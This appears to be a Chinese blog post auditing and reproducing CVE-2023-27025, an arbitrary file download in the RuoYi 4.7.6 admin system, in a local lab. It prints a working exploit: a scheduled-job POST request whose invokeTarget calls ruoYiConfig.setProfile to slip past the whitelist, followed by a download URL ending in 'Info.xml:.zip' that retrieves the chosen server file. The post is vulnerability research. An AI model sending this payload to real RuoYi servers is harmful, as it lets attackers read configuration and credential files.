若依4.7.6 版本任意文件下载(CVE-2023-27025)

CVE-2023-27025

框架说明

若依/ruoyi 是使用java主流框架的一款优秀的国内开源cms,
基于SpringBoot、Shiro、Mybatis的权限后台管理系统。

环境搭建

查询最近的漏洞信息

https://cve.mitre.org/
搜索ruoyi
在这里插入图片描述

代码审计感兴趣的漏洞:CVE-2023-27025

An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.

源码下载地址

https://gitee.com/y_project/RuoYi/releases

在这里插入图片描述

环境搭建


配置数据库

使用phpstudy_pro 开启和配置一下数据库

在这里插入图片描述

配置一下数据库地址
在这里插入图片描述

导入测试数据库

nvaicat新建一个数据库名为ry的数据库,并运行下面两个sql脚本导入测试数据。

在这里插入图片描述

在这里插入图片描述


启动服务

idea绿色的运行按钮点击一下
在这里插入图片描述
可以访问到,环境搭建成功。

在这里插入图片描述

代码审计

参考文章:

https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0
https://gitee.com/y_project/RuoYi/issues/I697Q5

审计

通过补丁修复的位置可以快速定位到问题代码
在这里插入图片描述

执行一下任务接口

/monitor/job/run
跟踪一下代码流程
在这里插入图片描述
在这里插入图片描述

全局搜索
shift键快速按两次
在这里插入图片描述
下好断点,停止服务,开启debug模式,跟进的服务层。
在这里插入图片描述

这里好像不是漏洞的关键点

添加任务绕过白名单(自定义下载文件路径)

POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/monitor/job
Cookie: JSESSIONID=b32de574-334d-4831-85bb-17adecd6484e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://1.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

在这里插入图片描述

添加任务
下断点跟进,发现有很多过滤
src/main/java/com/ruoyi/quartz/controller/SysJobController.java
在这里插入图片描述

跟进whiteList(ctrl+鼠标左键点击一下),跟进白名单,发现漏洞修复的关键代码
在这里插入图片描述
这里成获取到对象,将转换为bean的对象再进行白名单检测
src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
在这里插入图片描述
在这里插入图片描述

下一步
在这里插入图片描述
一直下一步
通过else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
的判断
在这里插入图片描述
直接放行,添加成功。
在这里插入图片描述

下载功能(触发下载刚刚定义的下载文件)

http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
下载无内容
在这里插入图片描述

执行一次定时任务后,再次访问下载地址
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
在这里插入图片描述

为什么通过这个接口就可以下载

根据payload设置反向查找关键代码,payload搜索setProfile方法
在这里插入图片描述
src/main/java/com/ruoyi/common/config/RuoYiConfig.java
在这里插入图片描述

payload修改的是profile 的地址
application.yml
在这里插入图片描述

执行一下payload

计划任务就是动态修改application.yaml
在这里插入图片描述

这里跟进一下函数,看是如何修改profile参数的
执行计划任务一次在这里插入图片描述

然后通过下载接口去下载任意文件,任意文件下载中的下载接口
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
在这里插入图片描述
在这里插入图片描述
下载定义的文件。
在这里插入图片描述

为什么要下载 info.xml:.zip 呢?

跟进到请求地址 /common/download/resource
这里下载有过滤
在这里插入图片描述
跟进一下checkAllowDownload这个函数
ctrl+鼠标左键 点击要调整的函数(checkAllowDownload)就可以调整进来


滤了.. 上一级目录

在这里插入图片描述

跟进允许的文件规则
在这里插入图片描述

允许zip格式的下载,白名单
在这里插入图片描述

回到原来下载文件中的
src/main/java/com/ruoyi/web/controller/common/CommonController.java
在这里插入图片描述
通过getProfile() 获取到之前计划任务定义好的文件路径
在这里插入图片描述
下载成功
在这里插入图片描述

这里可以是随便的文件名,只要是白名单就可以。传入的需要下载的文件路径是用过计划任务传入的参数。
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值